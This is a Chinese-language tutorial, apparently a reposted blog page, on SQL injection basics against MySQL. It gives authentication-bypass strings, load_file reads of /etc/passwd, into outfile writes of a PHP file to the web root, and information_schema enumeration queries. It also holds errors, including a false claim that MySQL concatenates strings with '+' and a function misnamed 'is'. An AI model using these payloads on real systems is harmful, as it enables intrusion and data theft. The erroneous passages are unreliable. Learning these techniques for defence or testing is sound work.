sql注入基础知识的介绍

本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

mysql常用注释

#

--[空格]或者是--+

/*…*/

在注意过程中,这些注释可能都需要进行urlencode。

mysql认证绕过

;%00

‘ or 1=1 #

‘ /*!or */ 1=1 --+

mysql连接符

mysql中使用+来进行连接。

select * from users where username='zhangsan' and "ab"="a"+"b";

mysql中常见函数

在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。

信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。

常用的信息函数有:

database() ,用于获取当前所使用的数据库信息

version():返回数据库的版本,等价于@@version

user():返回当前的用户,等价如current_user参数。如:

select user(); #root@localhost select current_user; #root@localhost

@@datadir,获取数据库的存储位置。

select @@datadir; #D:\xampp\mysql\data\

常见的功能函数有:

load_file():从计算机中载入文件,读取文件中的数据。

select * from users union select 1,load_file('/etc/passwd'),3; select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制

into outfile:写入文件,前提是具有写入权限

select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php'; select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

concat():返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。

用法如下:

select concat(username,password)from users;

*concat_ws() :是concat_ws()的特殊形式,第一个参数是分隔符,剩下的参数就是字段名。

select concat_ws(',',username,password) from users;

group_concat() :用于合并多条记录中的结果。

用法如下:

select group_concat(username) from users; #返回的就是users表中所有的用户名,并且是作为一条记录返回。

subtring() ,substr():用于截断字符串。用法为:substr(str,pos,length) ,注意pos是从1开始的。

select substr((select database()),1,1);

ascii():用法返回字符所对应的ascii值。

select ascii('a'); #97

length():返回字符串的长度。

如:

select length("123456") #返回6

is(exp1,exp2,exp2):如果exp1的表达式是True,则返回exp2;否则返回exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3 selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。

now():返回当前的系统时间

hex():返回字符串的16进制

unhex():反向的hex()的16进制

@@basedir():反向mysql的安装目录

@@versin_compile_os:操作系统

mysql数据库元信息

在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称

和访问权限。在informa_schema中常用的表有:

schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。

tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。

show tables from secuiry的结果就是来自这个表

columns:详细地描述了某张表的所有的列以及每个列的信息。

show columns from users的结果就是来自这个表

下面就是利用以上的3个表来获取数据库的信息。

select database(); #查选数据库 select schema_name from information_schema.schemata limit 0,1 #查询数据库 select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表 select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

sql注入类型

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。